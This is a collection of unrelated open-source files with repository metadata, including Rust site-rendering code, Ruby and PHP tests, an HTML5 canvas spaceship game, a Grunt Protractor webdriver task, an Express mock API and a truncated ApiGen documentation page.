section.meta.generate_feed { let library = &self.library.read().unwrap(); let pages = section.pages.iter().map(|k| library.get_page_by_key(*k)).collect(); self.render_feed( pages, Some(&PathBuf::from(&section.path[1..])), &section.lang, |mut context: Context| { context.insert("section", &section.to_serialized(library)); context }, )?; } // Copy any asset we found previously into the same directory as the index.html for asset in &section.assets { let asset_path = asset.as_path(); self.copy_asset( &asset_path, &output_path.join( asset_path.file_name().expect("Failed to get asset filename for section"), ), )?; } if render_pages { section .pages .par_iter() .map(|k| self.render_page(self.library.read().unwrap().get_page_by_key(*k))) .collect::<Result<()>>()?; } if !section.meta.render { return Ok(()); } if let Some(ref redirect_to) = section.meta.redirect_to { let permalink = self.config.make_permalink(redirect_to); self.write_content( &components, "index.html", render_redirect_template(&permalink, &self.tera)?, create_directories, )?; return Ok(()); } if section.meta.is_paginated() { self.render_paginated( components, &Paginator::from_section(&section, &self.library.read().unwrap()), )?; } else { let output = section.render_html(&self.tera, &self.config, &self.library.read().unwrap())?; let content = self.inject_livereload(output); self.write_content(&components, "index.html", content, false)?; } Ok(()) } /// Renders all sections pub fn render_sections(&self) -> Result<()> { self.library .read() .unwrap() .sections_values() .into_par_iter() .map(|s| self.render_section(s, true)) .collect::<Result<()>>() } /// Renders all pages that do not belong to any sections pub fn render_orphan_pages(&self) -> Result<()> { ensure_directory_exists(&self.output_path)?; let library = self.library.read().unwrap(); for page in library.get_all_orphan_pages() { self.render_page(page)?; } Ok(()) } /// Renders a list of pages when the section/index is wanting pagination. pub fn render_paginated<'a>( &self, components: Vec<&'a str>, paginator: &'a Paginator, ) -> Result<()> { ensure_directory_exists(&self.output_path)?; let index_components = components.clone(); paginator .pagers .par_iter() .map(|pager| { let mut pager_components = index_components.clone(); pager_components.push(&paginator.paginate_path); let pager_path = format!("{}", pager.index); pager_components.push(&pager_path); let output = paginator.render_pager( pager, &self.config, &self.tera, &self.library.read().unwrap(), )?; let content = self.inject_livereload(output); if pager.index > 1 { self.write_content(&pager_components, "index.html", content, false)?; } else { self.write_content(&index_components, "index.html", content, false)?; self.write_content( &pager_components, "index.html", render_redirect_template(&paginator.permalink, &self.tera)?, false, )?; } Ok(()) }) .collect::<Result<()>>() } } fn log_time(start: Instant, message: &str) -> Instant { let do_print = std::env::var("ZOLA_PERF_LOG").is_ok(); let now = Instant::now(); if do_print { println!("{} took {}ms", message, now.duration_since(start).as_millis()); } now }
Keats/gutenberg
components/site/src/lib.rs
Rust
mit
41,515
require 'test_helper' class ArtifactTest < Test::Unit::TestCase def setup @hash = { 'groupId' => 'group', 'artifactId' => 'name', 'version' => 'version', 'packaging' => 'war', 'resourceURI' => 'uri', 'repoId' => 'repo', 'classifier' => 'classifier' } end def test_construction_from_a_hash artifact = Nexus::Artifact.new @hash assert_equal('group', artifact.group) assert_equal('name', artifact.name) assert_equal('version', artifact.version) assert_equal('war', artifact.type) assert_equal('uri', artifact.uri) assert_equal('repo', artifact.repo) assert_equal('classifier', artifact.classifier) end def test_serialization_to_a_hash artifact = Nexus::Artifact.new @hash assert_equal @hash, artifact.to_hash end def test_serialization_to_a_hash_roundtrips artifact = Nexus::Artifact.new @hash assert_equal artifact, Nexus::Artifact.new(artifact.to_hash) end def test_artifact_equality assert(Nexus::Artifact.new(@hash) == Nexus::Artifact.new(@hash)) end end
darrinholst/rnexus
test/artifact_test.rb
Ruby
mit
1,090
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <title>Space Ship</title> <style> * { padding: 0; margin: 0; } body { overflow: hidden; background: #e4e6e8; } #canvas { display: block; margin: 40px auto 0px; background: #fff; box-shadow: 2px 2px 8px 0px rgba(0,0,0,0.1); } </style> </head> <body> <canvas id="canvas" width="640" height="480"></canvas> <script src="../lib/quintus-all.js"></script> <script> "use strict"; window.onload = function() { var Q = Quintus() .include("Sprites, Input, Scenes") .setup('canvas') .controls(); Q.el.style.backgroundColor = 'black'; // modified code from the book 'Professional HTML5 Mobile Game Development' Q.Sprite.extend('Starfield', { init: function(p) { this._super(p, { w: Q.width, h: Q.height, speed: 20, transparancy: 1, numStars: 100, clear: false, stars: null, offset: 0 }); // setup the offscreen canvas this.p.stars = document.createElement('canvas'); this.p.stars.width = Q.width; this.p.stars.height = Q.height; var starCtx = this.p.stars.getContext('2d'); this.p.offset = 0; // If the clear option is set, make the background black // instead of transparent if (this.p.clear) { starCtx.fillStyle = '#000'; starCtx.fillRect(0, 0, this.p.stars.width, this.p.stars.height); } // Now draw a bunch of random 2 pixel rectangles onto the // offscren canvas starCtx.fillStyle = '#fff'; starCtx.globalAlpha = this.p.transparancy; for (var i = 0; i < this.p.numStars; i++) { starCtx.fillRect(Math.floor(Math.random() * this.p.stars.width), Math.floor(Math.random() * this.p.stars.height), 2, 2); } }, draw: function(ctx) { // console.log('starfield: draw...'); var intOffset = Math.floor(this.p.offset); var remaining = this.p.stars.height - intOffset; // Draw the tophalf of the starfield if (intOffset > 0) { ctx.drawImage(this.p.stars, 0, remaining, this.p.stars.width, intOffset, 0, 0, this.p.stars.width, intOffset); } // Draw the bottom half of the starfield if (remaining > 0) { ctx.drawImage(this.p.stars, 0, 0, this.p.stars.width, remaining, 0, intOffset, this.p.stars.width, remaining); } }, step: function(dt) { this.p.offset += this.p.speed * dt; this.p.offset %= this.p.stars.height; } }); // The Ship class extend Sprite class Q.Sprite.extend("Ship", { init: function(p) { this._super(p, { asset: 'ship.png', x: Q.width/2, y: Q.height/2, scale: 0.5, // scale ship.png to half size vx: 0, // horizontal velocity vy: 0, // vertical velocity thrust: 500, // thrust applied when 'up' key is pressed aSpeed: 300, // angular speed applied when 'left/right' key is pressed laserSpeed: 350, // laser speed drag: 0.98, // drag/friction applied to ship motion reload: 0 // laser reload delay }); }, fire: function() { if(this.p.reload <= 0) { // find the directional components of the velocity var vx = Math.cos(this.p.angle * Math.PI / 180); var vy = Math.sin(this.p.angle * Math.PI / 180); // laser will originate from ship center var x = this.p.x; var y = this.p.y; // move the laser to originate from ship nose x += vx * this.p.w/4; y += vy * this.p.w/4; // calculate laser velocity vx *= this.p.laserSpeed; vy *= this.p.laserSpeed; // add ship velocity to laser velocity vx += this.p.vx; vy += this.p.vy; this.stage.insert(new Q.Laser( { x: x, y: y, vx: vx, vy: vy, angle: this.p.angle })); // reset reload this.p.reload = 1000 / 50; } }, step: function(dt) { if(Q.inputs["up"]) { this.p.vx += this.p.thrust * Math.cos(this.p.angle * Math.PI / 180) * dt; this.p.vy += this.p.thrust * Math.sin(this.p.angle * Math.PI / 180) * dt; } else { this.p.vx *= this.p.drag; this.p.vy *= this.p.drag; } if(Q.inputs['left']) { this.p.angle -= this.p.aSpeed * dt; } else if(Q.inputs['right']) { this.p.angle += this.p.aSpeed * dt; } if(Q.inputs['fire']) { this.fire(); } this.p.x += this.p.vx * dt; this.p.y += this.p.vy * dt; if(this.p.x > Q.width || this.p.x < 0) { this.p.x = (this.p.x + Q.width) % Q.width; } if(this.p.y > Q.height || this.p.y < 0) { this.p.y = (this.p.y + Q.height) % Q.height; } if(this.p.angle > 360) { this.p.angle -= 360; } if(this.p.angle < 0) { this.p.angle += 360; } this.p.reload--; } }); Q.Sprite.extend('Laser', { init: function(p) { this._super(p, { asset: 'laserblue.png', vx: 0, vy: 0 }); }, step: function(dt) { this.p.x += this.p.vx * dt; this.p.y += this.p.vy * dt; // out of site out of mind if(this.p.x > Q.width || this.p.x < 0 || this.p.y > Q.height || this.p.y < 0) { this.destroy(); } } }); Q.scene("main", function(stage) { // Q.gravity = 0; stage.insert(new Q.Starfield({transparancy: 0.4, clear: true})); stage.insert(new Q.Starfield({speed: 50, transparancy: 0.6})); stage.insert(new Q.Starfield({speed: 100, numStars: 50})); stage.insert(new Q.Ship()); }); Q.load("ship.png, laserblue.png", function() { Q.stageScene('main'); }); }; </script> </body> </html>
qsrahman/Quintus-Demos
spaceship/spaceship.html
HTML
mit
5,930
<?php namespace Hal\Bundle\GithubBundle\Controller; use Symfony\Bundle\FrameworkBundle\Controller\Controller; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Route; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Template; use JMS\SecurityExtraBundle\Annotation\Secure; use JMS\SecurityExtraBundle\Annotation\SecureParam; use Symfony\Component\HttpFoundation\RedirectResponse; use Hal\Bundle\GithubBundle\Service\AuthServiceInterface; /** * @Route("/github") */ class AuthController extends Controller { /** * @Route("/out", name="github.logout") */ public function logOutAction() { $this->get('session')->clear(); return $this->redirect('/'); // @todo : use route name } }
DependencyMe/dependency.me
src/Hal/Bundle/GithubBundle/Controller/AuthController.php
PHP
mit
733
<?php declare(strict_types=1); /* * This file is part of the Sonata Project package. * * (c) Thomas Rabaix <thomas.rabaix@sonata-project.org> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Sonata\AdminBundle\Tests\Event; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; use Sonata\AdminBundle\Admin\AdminInterface; use Sonata\AdminBundle\Datagrid\ProxyQueryInterface; use Sonata\AdminBundle\Event\ConfigureQueryEvent; final class ConfigureQueryEventTest extends TestCase { /** * @var ConfigureQueryEvent */ private $event; /** * @var AdminInterface<object>&MockObject */ private $admin; /** * @var ProxyQueryInterface&MockObject */ private $proxyQuery; protected function setUp(): void { $this->admin = $this->createMock(AdminInterface::class); $this->proxyQuery = $this->createMock(ProxyQueryInterface::class); $this->event = new ConfigureQueryEvent($this->admin, $this->proxyQuery, 'Foo'); } public function testGetContext(): void { static::assertSame('Foo', $this->event->getContext()); } public function testGetAdmin(): void { $result = $this->event->getAdmin(); static::assertInstanceOf(AdminInterface::class, $result); static::assertSame($this->admin, $result); } public function testGetProxyQuery(): void { $result = $this->event->getProxyQuery(); static::assertInstanceOf(ProxyQueryInterface::class, $result); static::assertSame($this->proxyQuery, $result); } }
sonata-project/SonataAdminBundle
tests/Event/ConfigureQueryEventTest.php
PHP
mit
1,694
require 'spec_helper' require 'contacts/windows_live' describe Contacts::WindowsLive do before(:each) do @path = Dir.getwd + '/spec/feeds/' @wl = Contacts::WindowsLive.new(@path + 'contacts.yml') end it 'parse the XML contacts document' do contacts = Contacts::WindowsLive.parse_xml(contacts_xml) contacts.should == [ [nil, 'froz@gmail.com'], ['Rafael Timbo', 'timbo@hotmail.com'], [nil, 'betinho@hotmail.com'] ] end it 'should can be initialized by a YAML file' do wll = @wl.instance_variable_get('@wll') wll.appid.should == 'your_app_id' wll.securityalgorithm.should == 'wsignin1.0' wll.returnurl.should == 'http://yourserver.com/your_return_url' end def contacts_xml File.open(@path + 'wl_contacts.xml', 'r+').read end end
pezra/contacts
spec/windows_live/windows_live_spec.rb
Ruby
mit
864
<!DOCTYPE HTML><html><head><meta content="text/html;charset=utf-8" http-equiv="Content-Type" /><meta content="width=device-width, initial-scale=1.0" name="viewport" /><link href="{{ STATIC_URL }}favicon_v4.png" rel="shortcut icon" type="image/png" /><link href="//fonts.googleapis.com/css?family=Alegreya:normal,italic,bold%7CAlegreya+SC:normal,italic,bold%7CBaumans" rel = "stylesheet" media = "all" type = "text/css" /> <title>{% block title %}{% endblock %}</title> <script type="text/javascript" src="/static/js/jquery-1.10.2.js"> </script> <script type="text/javascript" src="/static/js/tiny_mce/tiny_mce.js"></script> <script type="text/javascript" src="/static/django_tinymce/init_tinymce.js"></script> <style> .illist { margin-top: 3em; } .na input, .na textarea { margin-bottom: 1em; } .na button { color: green; font-size: 2em; display: inline-block; vertical-align: middle; } #savehelp { display: inline-block; vertical-align: middle; width: 40%; margin-left: 1.5em; } .blink { border: solid black 1mm; background: #aaa; width: 6em; padding: 2mm; display: inline-block; margin: 0; } .na .publish { width: 20%; border: solid red 1mm; padding: 2mm; display: inline-block; } .na .illist { overflow: auto; } .illist .picture { display: inline-block; width: 20%; } .illist .picdata { display: inline-block; vertical-align: top; margin-top: 0em; width: 75%; } .na .illist .picture img { width: 100%; } p.photoname { color: #339; margin-top: 0; margin-bottom: 0.3em; } .na .illist input[type=text] { width: 40em; } .na .illist input[type=url] { width: 40em; } .na .impbuttons { clear: both; margin-top: 1em; } .helpinput { position: absolute; left: -9999px; } .gethelp { border: solid black 0.5mm; background: #f99; width: 0.5em; overflow: hidden; display: inline-block; vertical-align: top; margin-left: 2mm; padding-left: 1mm; padding-right: 1mm; cursor: pointer; } .help { opacity: 0; z-index: -10; border: solid #a33 1mm; background: #f99; padding: 2em; font-size: 0.75em; width: 55%; position: absolute; margin-top: -1.2em; } .endrow td{ border-bottom: solid black 1mm; } .picblock { width: 100%; border-bottom: solid black 1mm; margin-bottom: 1em; } </style> </head> <h1>Slideshow Configuration</h1> <body style = "background: white; color: black;"> <form class = 'na' action = '/configure_slideshow/' method = 'POST'> {% csrf_token %} <button type = 'submit'>Save</button> <div id = 'savehelp'> Click to save changes to slideshow inclusion, captions, targets, and credits. Slideshow will immediately reflect your changes. Go <a href= 'http://127.0.0.1:8001/admin/apdirposts/illustration/add/'>here</a> to add a new picture. Pictures currently in the slideshow are listed first below. </div> <div class = 'illist'> {{ ilformset.management_form }} {% for f in ilformset %} <div class = 'picblock'> {{ f.id }} <div class = 'picture'> <img src="/static/{{ f.pic.value }}" /> </div> <div class = 'picdata'> <p class = 'photoname'>{{f.pic.value|cut:"illustrations/"}}</p> {{ f.slideshow }} Include in slideshow <br /> {{ f.caption }} Caption <br /> {{ f.credit }} Credit <br /> {{ f.target }} Link target <br /> <span class = 'divider'></span> </div> </div> {% endfor %} </div> </form> </body> </html>
leephillips/FOTPweb
templates/configure_slideshow.html
HTML
mit
3,846
package dta.jdbc; import javax.sql.DataSource; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.ComponentScan; import org.springframework.context.annotation.Configuration; import org.springframework.jdbc.datasource.DriverManagerDataSource; import fr.pizzeria.service.Stockage; import fr.pizzeria.service.StockageTableau; //@Configuration //@ComponentScan("dta") public class SpringJdbcConfig { //@Bean public Stockage<?, ?> stockage() { return new StockageTableau(); } @Bean public DataSource dataSource() { DriverManagerDataSource dataSource = new DriverManagerDataSource(); dataSource.setDriverClassName("com.mysql.jdbc.Driver"); dataSource.setUrl("jdbc:mysql://localhost:3306/pizzeria-JPA?useSSL=false"); dataSource.setUsername("root"); dataSource.setPassword(""); return dataSource; } }
MrCaf/formationdta-072016
pizzeria-console-maven/pizzeria-spring/src/test/java/dta/jdbc/SpringJdbcConfig.java
Java
mit
911
/** * Created by liumengjun on 2016-04-11. * 注: 不用于微信端, 微信端自行处理 */ function showLoading(msg) { var $loadingDialog = $('#mLoadingDialog'); var $loadingText = $("#mLoadingText"); $loadingText.html(msg ? msg : ""); $loadingDialog.show(); } function hideLoading() { $('#mLoadingDialog').hide(); } var DEFAULT_ERR_MSG = '请求失败, 请稍后重试, 或联系管理员!'; function _malaAjax0(method, url, data, success, dataType, error, loadingMsg) { if ($.isFunction(data)) { loadingMsg = error; error = dataType; dataType = success; success = data; data = undefined; } if ($.isFunction(dataType)) { loadingMsg = error; error = dataType; dataType = undefined; } showLoading(loadingMsg); return $.ajax({ url: url, type: method, dataType: dataType, data: data, success: function (result, textStatus, jqXHR) { if (typeof(success) === 'function') { success(result, textStatus, jqXHR); } hideLoading(); }, error: function (jqXHR, errorType, errorDesc) { if (typeof(error) === 'function') { error(jqXHR, errorType, errorDesc); } hideLoading(); } }); } function malaAjaxPost(url, data, success, dataType, error, loadingMsg) { return _malaAjax0('post', url, data, success, dataType, error, loadingMsg); } function malaAjaxGet(url, data, success, dataType, error, loadingMsg) { return _malaAjax0('get', url, data, success, dataType, error, loadingMsg); }
malaonline/Server
server/static/common/js/loading_dialog.js
JavaScript
mit
1,663
<head> <link rel="stylesheet" type="text/css" href="style.css"> </head> <body> <script type="text/javascript" src="app.js"></script> </body>
jan-trojanowski/vanilla-js-calendar
index.html
HTML
mit
144
<?php namespace Validation\Schema; use Validation\Utils; use Validation\Assertions; class AlternativeSchema extends AnySchema { /** * @return $this */ public function any() { $this->assert(new Assertions\AlternativeAny(['options' => Utils::variadicToArray(func_get_args())])); return $this; } }
seebcioo/validation
src/Validation/Schema/AlternativeSchema.php
PHP
mit
341
/** * `grunt-protractor-webdriver` * * Grunt task to start the `Selenium Webdriver` which comes bundled with * `Protractor`, the E2E test framework for Angular applications. * * Copyright (c) 2014 Steffen Eckardt * Licensed under the MIT license. * * @see https://github.com/seckardt/grunt-protractor-webdriver * @see https://github.com/angular/protractor * @see https://code.google.com/p/selenium/wiki/WebDriverJs * @see http://angularjs.org */ module.exports = function (grunt) { 'use strict'; var spawn = require('child_process').spawn, http = require('http'), rl = require('readline'), noop = function () {}, REGEXP_REMOTE = /RemoteWebDriver instances should connect to: (.*)/, REGEXP_START_READY = /Started org\.openqa\.jetty\.jetty\.Server/, REGEXP_START_RUNNING = /Selenium is already running/, REGEXP_START_FAILURE = /Failed to start/, REGEXP_START_NOTPRESENT = /Selenium Standalone is not present/i, REGEXP_SESSION_DELETE = /Executing: \[delete session: (.*)\]/, REGEXP_SESSION_NEW = /Executing: \[new session: (.*)\]/, REGEXP_CAPABILITIES = /Capabilities \[\{(.*)\}\]/, REGEXP_EXIT_EXCEPTION = /Exception thrown(.*)/m, REGEXP_EXIT_FATAL = /Fatal error/, REGEXP_SHUTDOWN_OK = /OKOK/i, DEFAULT_PATH = 'node_modules/protractor/bin/', DEFAULT_CMD = 'webdriver-manager start', DEFAULT_INSTANCE = 'http://localhost:4444'; function exec(command) { var opts = { cwd: process.cwd(), stdio: [process.stdin] }; if (process.platform === 'win32') { opts.windowsVerbatimArguments = true; var child = spawn('cmd.exe', ['/s', '/c', command.replace(/\//g, '\\')], opts); rl.createInterface({ input: process.stdin, output: process.stdout }).on('SIGINT', function () { process.emit('SIGINT'); }); return child; } else { return spawn('/bin/sh', ['-c', command], opts); } } function extract(regexp, value, idx) { var result; if (regexp.test(value) && (result = regexp.exec(value)) && typeof result[idx] === 'string') { return result[idx].trim(); } return ''; } function Webdriver(context, options, restarted) { var done = context.async(), restartedPrefix = (restarted === true ? 'Res' : 'S'), selenium, destroy, failureTimeout, stackTrace, server = DEFAULT_INSTANCE, sessions = 0, // Running sessions status = [false, false, false],// [0 = Stopping, 1 = Stopped, 2 = Exited] stopCallbacks = []; function start() { grunt.log.writeln((restartedPrefix + 'tarting').cyan + ' Selenium server'); selenium = exec('node ' + options.path + options.command); selenium.on('error', exit) .on('uncaughtException', exit) .on('exit', exit) .on('close', exit) .on('SIGINT', exit); selenium.stdout.setEncoding('utf8'); selenium.stderr.setEncoding('utf8'); selenium.stdout.on('data', data); selenium.stderr.on('data', data); destroy = exit(selenium); } function started(callback) { status[1] = false; grunt.log.writeln((restartedPrefix + 'tarted').cyan + ' Selenium server: ' + server.green); if (callback) { callback(); } } function stop(callback) { if (status[2]) { callback(true); return; } else if (status[0] || status[1]) { stopCallbacks.push(callback); return; } status[0] = true; grunt.log.writeln('Shutting down'.cyan + ' Selenium server: ' + server); var response = ''; http.get(server + '/selenium-server/driver/?cmd=shutDownSeleniumServer', function (res) { res.on('data',function (data) { response += data; }).on('end', function () { status[0] = false; if (callback) { var success = status[1] = REGEXP_SHUTDOWN_OK.test(response), callbacks = stopCallbacks.slice(); stopCallbacks = []; callbacks.push(callback); grunt.log.writeln('Shut down'.cyan + ' Selenium server: ' + server + ' (' + (success ? response.green : response.red) + ')'); callbacks.forEach(function (cb) { cb(success); }); } }); }); } function exit(proc) { return function (callback) { var cb = function () { status[2] = true; proc.kill(); if (typeof callback === 'function') { callback(); } else { grunt.fatal(stackTrace || 'Selenium terminated unexpectedly'); } }; if (status[2]) { cb(); return; } stop(cb); }; } function data(out) { grunt.verbose.writeln('>> '.red + out); var lines; if (REGEXP_REMOTE.test(out)) { server = extract(REGEXP_REMOTE, out, 1).replace(/\/wd\/hub/, '') || server; } else if (REGEXP_START_READY.test(out)) { // Success started(done); } else if (REGEXP_START_RUNNING.test(out)) { if (failureTimeout) { clearTimeout(failureTimeout); } // Webdriver instance is already running -> Trying to shutdown stop(function (success) { if (success) { // Shutdown succeeded -> Retry new Webdriver(context, options, true); } else { // Shutdown failed -> Exit destroy(); } }); } else if (REGEXP_START_FAILURE.test(out)) { // Failure -> Exit after timeout. The timeout is needed to // enable further console sniffing as the output needed to // match `REGEXP_RUNNING` is coming behind the failure message. failureTimeout = setTimeout(destroy, 500); } else if (REGEXP_START_NOTPRESENT.test(out)) { // Failure -> Selenium server not present grunt.warn(out); } else if (REGEXP_EXIT_EXCEPTION.test(out)) { // Failure -> Exit var msg = 'Exception thrown: '.red; if (options.keepAlive) { grunt.log.writeln(msg + 'Keeping the Selenium server alive'); stackTrace = out; grunt.warn(out); } else { grunt.log.writeln(msg + 'Going to shut down the Selenium server'); stackTrace = out; destroy(); } } else if (REGEXP_EXIT_FATAL.test(out)) { // Failure -> Exit destroy(); } else if (REGEXP_SESSION_NEW.test(out)) { // As there might be race-conditions with multiple logs for // `REGEXP_SESSION_NEW` in one log statement, we have to parse // the data lines = out.split(/[\n\r]/); lines.forEach(function (line) { if (REGEXP_SESSION_NEW.test(line)) { sessions++; var caps = extract(REGEXP_CAPABILITIES, line, 1); grunt.log.writeln('Session created: '.cyan + caps); } }); } else if (REGEXP_SESSION_DELETE.test(out)) { // As there might be race-conditions with multiple logs for // `REGEXP_SESSION_DELETE` in one log statement, we have to // parse the data lines = out.split(/[\n\r]/); lines.forEach(function (line) { if (REGEXP_SESSION_DELETE.test(line)) { sessions--; var msg = 'Session deleted: '.cyan; if (sessions <= 0) { // Done -> Exit if (options.keepAlive) { grunt.log.writeln(msg + 'Keeping the Selenium server alive'); } else { grunt.log.writeln(msg + 'Going to shut down the Selenium server'); destroy(noop); } } else { grunt.log.writeln(msg + sessions + ' session(s) left'); } } }); } } process.on('removeListener', function (event, fn) { // Grunt uses node-exit [0], which eats process 'exit' event handlers. // Instead, listen for an implementation detail: When Grunt shuts down, it // removes some 'uncaughtException' event handlers that contain the string // 'TASK_FAILURE'. Super hacky, but it works. // [0]: https://github.com/cowboy/node-exit if (event === 'uncaughtException' && fn.toString().match(/TASK_FAILURE/)) { stop(noop); } }); start(); } grunt.registerMultiTask('protractor_webdriver', 'grunt plugin for starting Protractor\'s bundled Selenium Webdriver', function () { new Webdriver(this, this.options({ path: DEFAULT_PATH, command: DEFAULT_CMD, keepAlive: false })); }); };
fastconnect/grunt-protractor-webdriver
tasks/protractor_webdriver.js
JavaScript
mit
7,906
exports.init = function (app) { var data = [{ name: 'C', desc: 'old program language', history: getFakeHistory() }, { name: 'Java', desc: 'large language!', history: getFakeHistory() }, { name: 'C#', desc: 'Microsoft create it', history: getFakeHistory() }, { name: 'JavaScript', desc: 'the web language', history: getFakeHistory() }] app.get('/itemList', function(req, res) { res.send(JSON.stringify(data)) }) app.get('/item/:name', function (req, res) { var item = data.find(item => item.name === req.params.name) if (item) { res.type('json') res.send(JSON.stringify(item)) } else { res.status(404).end() } }) app.post('/item/:name', function(req, res) { var item = data.find(item => item.name === req.params.name) if (item) { saveItem(item, JSON.parse(res.body)) } }) app.put('/item/:name', function(req, res) { var item = findItem(data, req.params.name) if (item) { res.status(403).end() } else { try { item = JSON.parse(req.body) } catch(e) { console.log('parse req body fail: ' + req.body) item = { name: req.params.name } } item.history = getFakeHistory() data.push(item) res.send(JSON.stringify(item)) } }) app.delete('/item/:name', function(req, res) { var i = data.findIndex(item => item.name === req.params.name) if (i > -1) { var item = data.splice(i, 1) res.send(JSON.stringify(item)) } else { res.status(404).end() } }) } function findItem(items, name) { return items && items.find(item => item.name === name) } function saveItem(item, data) { for (let k of data) { item[k] = data[k] } } function getFakeHistory() { var nodes = [] if (dice()) nodes.push({name: '1990', desc: 'aaa'}) if (dice()) nodes.push({name: '1991', desc: 'bbb'}) if (dice()) nodes.push({name: '1992', desc: 'ccc'}) if (dice()) nodes.push({name: '1993', desc: 'ddd'}) if (dice()) nodes.push({name: '1994', desc: 'eee'}) if (dice()) nodes.push({name: '1995', desc: 'fff'}) if (dice()) nodes.push({name: '1996', desc: 'ggg'}) if (dice()) nodes.push({name: '1997', desc: 'hhh'}) if (dice()) nodes.push({name: '1998', desc: 'jjj'}) if (dice()) nodes.push({name: '1999', desc: 'kkk'}) if (dice()) nodes.push({name: '2000', desc: 'lll'}) return nodes } function dice() { return Math.random() > 0.5 }
luobotang/vue-demo
apis/index.js
JavaScript
mit
2,812
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Function date_range | Practica2_Servidor</title> <link rel="stylesheet" href="resources/style.css?e99947befd7bf673c6b43ff75e9e0f170c88a60e"> </head> <body> <div id="left"> <div id="menu"> <a href="index.html" title="Overview"><span>Overview</span></a> <div id="groups"> <h3>Namespaces</h3> <ul> <li> <a href="namespace-Composer.html"> Composer<span></span> </a> <ul> <li> <a href="namespace-Composer.Autoload.html"> Autoload </a> </li> </ul></li> <li class="active"> <a href="namespace-None.html"> None </a> </li> <li> <a href="namespace-org.html"> org<span></span> </a> <ul> <li> <a href="namespace-org.bovigo.html"> bovigo<span></span> </a> <ul> <li> <a href="namespace-org.bovigo.vfs.html"> vfs<span></span> </a> <ul> <li> <a href="namespace-org.bovigo.vfs.example.html"> example </a> </li> <li> <a href="namespace-org.bovigo.vfs.visitor.html"> visitor </a> </li> </ul></li></ul></li></ul></li> <li> <a href="namespace-PHP.html"> PHP </a> </li> </ul> </div> <hr> <div id="elements"> <h3>Classes</h3> <ul> <li><a href="class-AdvancedValueBinderTest.html">AdvancedValueBinderTest</a></li> <li><a href="class-Agregador.html" class="invalid">Agregador</a></li> <li><a href="class-AutofilterColumnTest.html">AutofilterColumnTest</a></li> <li><a href="class-AutoFilterTest.html">AutoFilterTest</a></li> <li><a href="class-AutoloaderTest.html">AutoloaderTest</a></li> <li><a href="class-CalculationTest.html">CalculationTest</a></li> <li><a href="class-Camiseta.html">Camiseta</a></li> <li><a href="class-Carrito.html">Carrito</a></li> <li><a href="class-Carro.html">Carro</a></li> <li><a href="class-Categorias.html">Categorias</a></li> <li><a href="class-CellCollectionTest.html">CellCollectionTest</a></li> <li><a href="class-CellTest.html">CellTest</a></li> <li><a href="class-CholeskyDecomposition.html">CholeskyDecomposition</a></li> <li><a href="class-CI_Benchmark.html" class="invalid">CI_Benchmark</a></li> <li><a href="class-CI_Cache.html" class="invalid">CI_Cache</a></li> <li><a href="class-CI_Cache_apc.html" class="invalid">CI_Cache_apc</a></li> <li><a href="class-CI_Cache_dummy.html" class="invalid">CI_Cache_dummy</a></li> <li><a href="class-CI_Cache_file.html" class="invalid">CI_Cache_file</a></li> <li><a href="class-CI_Cache_memcached.html" class="invalid">CI_Cache_memcached</a></li> <li><a href="class-CI_Cache_redis.html">CI_Cache_redis</a></li> <li><a href="class-CI_Cache_wincache.html">CI_Cache_wincache</a></li> <li><a href="class-CI_Calendar.html" class="invalid">CI_Calendar</a></li> <li><a href="class-CI_Cart.html" class="invalid">CI_Cart</a></li> <li><a href="class-CI_Config.html" class="invalid">CI_Config</a></li> <li><a href="class-CI_Controller.html" class="invalid">CI_Controller</a></li> <li><a href="class-CI_DB_active_record.html">CI_DB_active_record</a></li> <li><a href="class-CI_DB_Cache.html" class="invalid">CI_DB_Cache</a></li> <li><a href="class-CI_DB_cubrid_driver.html" class="invalid">CI_DB_cubrid_driver</a></li> <li><a href="class-CI_DB_cubrid_forge.html" class="invalid">CI_DB_cubrid_forge</a></li> <li><a href="class-CI_DB_cubrid_result.html" class="invalid">CI_DB_cubrid_result</a></li> <li><a href="class-CI_DB_cubrid_utility.html" class="invalid">CI_DB_cubrid_utility</a></li> <li><a href="class-CI_DB_driver.html" class="invalid">CI_DB_driver</a></li> <li><a href="class-CI_DB_forge.html" class="invalid">CI_DB_forge</a></li> <li><a href="class-CI_DB_ibase_driver.html">CI_DB_ibase_driver</a></li> <li><a href="class-CI_DB_ibase_forge.html">CI_DB_ibase_forge</a></li> <li><a href="class-CI_DB_ibase_result.html">CI_DB_ibase_result</a></li> <li><a href="class-CI_DB_ibase_utility.html">CI_DB_ibase_utility</a></li> <li><a href="class-CI_DB_mssql_driver.html" class="invalid">CI_DB_mssql_driver</a></li> <li><a href="class-CI_DB_mssql_forge.html" class="invalid">CI_DB_mssql_forge</a></li> <li><a href="class-CI_DB_mssql_result.html" class="invalid">CI_DB_mssql_result</a></li> <li><a href="class-CI_DB_mssql_utility.html" class="invalid">CI_DB_mssql_utility</a></li> <li><a href="class-CI_DB_mysql_driver.html" class="invalid">CI_DB_mysql_driver</a></li> <li><a href="class-CI_DB_mysql_forge.html" class="invalid">CI_DB_mysql_forge</a></li> <li><a href="class-CI_DB_mysql_result.html" class="invalid">CI_DB_mysql_result</a></li> <li><a href="class-CI_DB_mysql_utility.html" class="invalid">CI_DB_mysql_utility</a></li> <li><a href="class-CI_DB_mysqli_driver.html" class="invalid">CI_DB_mysqli_driver</a></li> <li><a href="class-CI_DB_mysqli_forge.html" class="invalid">CI_DB_mysqli_forge</a></li> <li><a href="class-CI_DB_mysqli_result.html" class="invalid">CI_DB_mysqli_result</a></li> <li><a href="class-CI_DB_mysqli_utility.html" class="invalid">CI_DB_mysqli_utility</a></li> <li><a href="class-CI_DB_oci8_driver.html" class="invalid">CI_DB_oci8_driver</a></li> <li><a href="class-CI_DB_oci8_forge.html" class="invalid">CI_DB_oci8_forge</a></li> <li><a href="class-CI_DB_oci8_result.html" class="invalid">CI_DB_oci8_result</a></li> <li><a href="class-CI_DB_oci8_utility.html" class="invalid">CI_DB_oci8_utility</a></li> <li><a href="class-CI_DB_odbc_driver.html" class="invalid">CI_DB_odbc_driver</a></li> <li><a href="class-CI_DB_odbc_forge.html" class="invalid">CI_DB_odbc_forge</a></li> <li><a href="class-CI_DB_odbc_result.html" 